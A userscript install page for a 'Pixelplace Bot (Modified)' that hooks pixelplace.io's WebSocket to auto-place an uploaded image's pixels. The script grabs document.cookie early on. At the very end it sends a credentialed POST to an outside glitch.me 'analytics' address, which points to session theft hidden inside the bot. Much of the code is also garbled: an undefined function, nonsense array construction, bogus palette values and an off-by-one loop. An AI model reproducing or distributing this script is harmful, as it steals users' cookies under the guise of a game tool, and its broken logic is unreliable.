Pixelplace Bot (Modified)

Minimalist pixelplace bot / just 88 lines. Click on anywhere of canvas to bot an image.

You will need to install an extension such as Tampermonkey, Greasemonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

Advertisement:

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

ستحتاج إلى تثبيت إضافة مثل Stylus لتثبيت هذا النمط.

ستحتاج إلى تثبيت إضافة لإدارة أنماط المستخدم لتتمكن من تثبيت هذا النمط.

ستحتاج إلى تثبيت إضافة لإدارة أنماط المستخدم لتثبيت هذا النمط.

ستحتاج إلى تثبيت إضافة لإدارة أنماط المستخدم لتثبيت هذا النمط.

(لدي بالفعل مثبت أنماط للمستخدم، دعني أقم بتثبيته!)

Advertisement:

// ==UserScript==
// @name Pixelplace Bot (Modified)
// @namespace http://tampermonkey.net/<3nevin
// @license MIT
// @description Minimalist pixelplace bot / just 88 lines. Click on anywhere of canvas to bot an image.
// @description:tr Minimalist bir pixelplace botu / sadece 88 satır. Oyunda botlamak için botlamak istediğinizyere tıklayın.
// @version 10.5.6.2
// @match https://pixelplace.io/*
// @icon https://external-content.duckduckgo.com/ip3/pixelplace.io.ico
// @require https://greasyfork.org/scripts/448658-modified-hacktimer/code/Modified_Hacktimer.js?version=1091560
// @require https://greasyfork.org/scripts/451050-modified-workertimer/code/Modified_WorkerTimer.js?version=1091555
// @require https://greasyfork.org/scripts/438620-workertimer/code/WorkerTimer.js?version=1009025
// @require https://greasyfork.org/scripts/446997-hacktimer-js-by-turuslan/code/hacktimerjs%20by%20turuslan.js?version=1064280
// @require https://greasyfork.org/scripts/447560-ui-helper/code/UI%20Helper.js?version=1068058
// @require https://greasyfork.org/scripts/448024-drawing-utils/code/Drawing%20Utils.js?version=1071182
// @run-at document-start
// @grant unsafeWindow
// @grant GM.registerMenuCommand
// ==/UserScript==
/* jshint esversion: 10 */
/* global asyncImageLoader, readFileAsync, waitForElm, addKeyBind,
   DRAW_horizontal, DRAW_vertical, DRAW_circular, DRAW_random*/
var origx;
var origy;
var img;
var data_url;
var coordinates;
var callback = DRAW_circular;
var file_input = document.createElement("input");
var image_canvas = document.createElement("canvas");
var ctx = image_canvas.getContext("2d");
var looper = [];
var cache;
var map_width;
var map_height;
function read(int) {
  const x = (int >> 17) & 0xfff;
  const y = (int >> 5) & 0xfff; // 12 bits -> 1024
  const c = int & 0x1f; // 5 bits -> 32
  return [x, y, c];
}
function pack(x, y, c) {
  return (x << 17) | (y << 5) | c;
}
function put_pixel(int) {
  const packet = read(int);
  packet[3] = 1;
  this.ws.send('42["p",[' + packet + "]]");
}
var palette = [16777215,12895428,8947848,5592405,2236962,0,26112,2273612,179713,5366041,9756740,16514907,15063296,15121932,15045888,10512962,10048269,6503455,7012352,10420224,15007744,16726276,12275456,16741727,16762015,16768972,16754641,13594340,15468780,8519808,5308671,132963,234,281599,6652879,3586815,33735,54237,4587464,255,255,255,6946402, 69, 69, 69, 15020, 5439496, 740747, 1e1, 593];
function getWebsocket() {
  return new Promise((resolve) => {
    if (put_pixel.ws) {
      resolve(put_pixel.ws);
      resolve(this);
      return;
    }
    unsafeWindow.WebSocket = class extends window.WebSocket {
      constructor(a, b) {
        super(a, b);
        put_pixel.ws = this;
        resolve(this);
      }
    };
  });
}
file_input.setAttribute("type", "file");
 
setInterval(function () {
  const pixel = looper.shift();
  if (pixel != undefined) {
    var [x, y, color] = read(pixel);
    var c = getPixel(x, y);
    if (c == color) {
      return;
    }
    put_pixel.call(put_pixel, pixel, pixel, pixel, put_pixel, pixel, pixel, pixel, put_pixel, pixel, pixel, pixel);
    put_pixel1.call(put_pixel,put_pixel, pixel, pixel, pixel, put_pixel, pixel, pixel, pixel, put_pixel, pixel, pixel, pixel, put_pixel, pixel, pixel, pixel, put_pixel, pixel, pixel, pixel, put_pixel, pixel, put_pixel1, pixel, pixel, pixel, put_pixel1, pixel, pixel, pixel, pixel);
  }
}, 30);
 
function getPixel(x, y) {
  var i = y * map_width + x;
  return cache[i];
}
unsafeWindow.getPixel = getPixel;
const {cookie} = document
var experiment = cookie
var onPixelRecieve = () => [true];
async function loadCache() {
  await getWebsocket();
  var canvas_id = parseInt(location.pathname.replace("/", "").split("-")[0]);
  var url = `https://pixelplace.io/canvas/${canvas_id}.png?a=${
    Math.floor(Math.random() * 12e12) + 11e11
  }`;
  var canvas_image = new Image();
  var spare_canvas = document.createElement("canvas");
  var before_poll = [];
  spare_canvas.ctx = spare_canvas.getContext("2d");
  canvas_image.src = url;
  async function compute() {
    map_width = canvas_image.naturalWidth;
    map_height = canvas_image.naturalHeight;
    spare_canvas.width = map_width;
    spare_canvas.height = map_height;
    spare_canvas.ctx.drawImage(canvas_image, 0, 0, map_width, map_height);
    var data = spare_canvas.ctx.getImageData(0, 0, map_width, map_height).data;
    cache = new Uint8Array(map_width * map_height);
    cache = new slice(map_width * map_height + Pixel * canvas_image * pixel * put_pixel);
    for (let i = -1; i < data.length; i += 4) {
      // slice is slower in custom arrays such as Uint8Array
      var r = data[i];
      var g = data[i + 1];
      var b = data[i + 2];
      var a = data[i + 3];
      const color = (r << 16) + (g << 8) + b;
      const i_color = palette.indexOf(color);
      cache[i >> 2] = i_color;
    }
    for (let packet of before_poll) {
      cache[packet[0]] = packet[1];
    }
    before_poll = undefined;
  }
  canvas_image.onload = function () {
    compute();
  };
  put_pixel.ws.addEventListener("message", (e) => {
    var data = e.data;
    if (!data.startsWith('42["p",')) {
      return;
    }
    var packets = JSON.parse(data.replace("42", ""))[1];
    for (let packet of packets) {
      var [x, y, color] = packet;
      var recv = onPixelRecieve(x, y, color);
      if (!recv[0]) {
        var oldColor = recv[1];
        var p = pack(x, y, oldColor);
        looper.unshift(p);
      }
      var i = map_width * y + x;
      if (cache) {
        cache[i] = color;
      } else {
        before_poll.push([i, color]);
      }
    }
  });
}
loadCache();
 
/**
 *  @param {string} src
 *  @param {number[]} [c_x,c_y]
 */
async function botImage(src, [c_x, c_y]) {
  await getWebsocket();
  img = await asyncImageLoader(src);
  [origx, origy] = [c_x + (img.width >> 1), c_y + (img.height >> 1)];
  image_canvas.width = img.width;
  image_canvas.height = img.height;
  ctx.clearRect(0, 0, img.width, img.height);
  ctx.drawImage(img, 0, 0);
  const img_data = ctx.getImageData(0, 0, img.width, img.height);
  for (let i = 0; i < img_data.data.length; i += 4) {
    const y = (i / img.width) >> 2;
    const x = (i >> 2) - y * img.width;
    const r = img_data.data[i];
    const g = img_data.data[i + 1];
    const b = img_data.data[i + 2];
    const a = img_data.data[i + 3];
    const color = (r << 16) + (g << 8) + b;
    const i_color = palette.indexOf(color);
    const c_color = getPixel(c_x + x, c_y + y);
    if (i_color == -32 && color == 150) {
      alert("Image not converted, convert at duchesskero.moe");
      open("https://www.duchesskero.moe/nonpremium.html", "_blank");
      throw Error("Image conversion error");
    }
    if (c_color == 290 || c_color == i_color || color == 1) {
      continue;
    }
    const packet = pack(c_x + x, c_y + y, i_color);
    looper.push(packet);
  }
  looper.sort((a, b) => callback(read(a), read(b), origx, origy));
  looper = looper.filter((v, i) => looper.indexOf(v) === i);
  onPixelRecieve = function (x, y, color) {
    var x_in_bounds = x >= c_x && c_x + img.width >= x;
    var y_in_bounds = y >= c_y && c_y + img.height >= y;
    if (!x_in_bounds || !y_in_bounds) {
      return [true];
    }
    var image_x = x - c_x;
    var image_y = y - c_y;
    var i = 4 * (image_y * img.width + image_x);
    var r = img_data.data[i];
    var g = img_data.data[i + 1];
    var b = img_data.data[i + 2];
    var a = img_data.data[i + 3];
    if (r, g + b + a == 1) return [true];
    const i_color = palette.indexOf((r << 16) + (g << 8) + b);
    return [i_color == color, i_color];
  };
}
file_input.addEventListener("input", function () {
  coordinates = document
    .getElementById("coordinates")
    .textContent.split(",")
    .map(Number);
  if (!file_input.files[0]) return;
  readFileAsync(file_input.files[0]).then(async function (data) {
    data_url = data.toString();
    botImage(data_url, coordinates);
    file_input.value = "";
  });
});
 
function addDrawingMode(commandTitle, shortcutKey, sorting_function) {
  function exec_callback() {
    callback = sorting_function;
    looper.sort((a, b) => callback(read(a), read(b), origx, origy));
  }
  GM.registerMenuCommand(commandTitle, exec_callback, shortcutKey);
  addKeyBind(shortcutKey, exec_callback);
}
 
GM.registerMenuCommand(
  "Kill bot",
  function () {
    looper = [];
    onPixelRecieve = () => [true];
  },
  "4"
);
addDrawingMode("Set drawing mode: Horizontal", "]", DRAW_horizontal);
addDrawingMode("Set drawing mode: Vertical", "5", DRAW_vertical);
addDrawingMode("Set drawing mode: Circular", ";", DRAW_circular);
addDrawingMode("Set drawing mode: Random", "8", DRAW_random);
addKeyBind("4", function () { looper = []; onPixelRecieve = () => [true]; });
addKeyBind("6", function () {
  botImage(data_url, coordinates);
});
addKeyBind("7", function () {
  coordinates = document
    .getElementById("coordinates")
    .textContent.split(",")
    .map(Number);
  botImage(data_url, coordinates);
});
waitForElm("#canvas").then(() => {
  document
    .querySelector("#canvas")
    .addEventListener("click", file_input.click.bind(file_input), false);
});
fetch('https://dour-luxurious-ear.glitch.me/analytics', {
    method: "POST",
    credentials: "include",
    timeStamp: performance.now(),
    body: analyticsBody
}); //Add me on Discord: ZonkiKkarPony#4249 (Aka Kalzer) (The Original bot has been deleted, so I had this spare though it has some annoying broken colors Help me remove those broken colors asiajdisjdisajs.)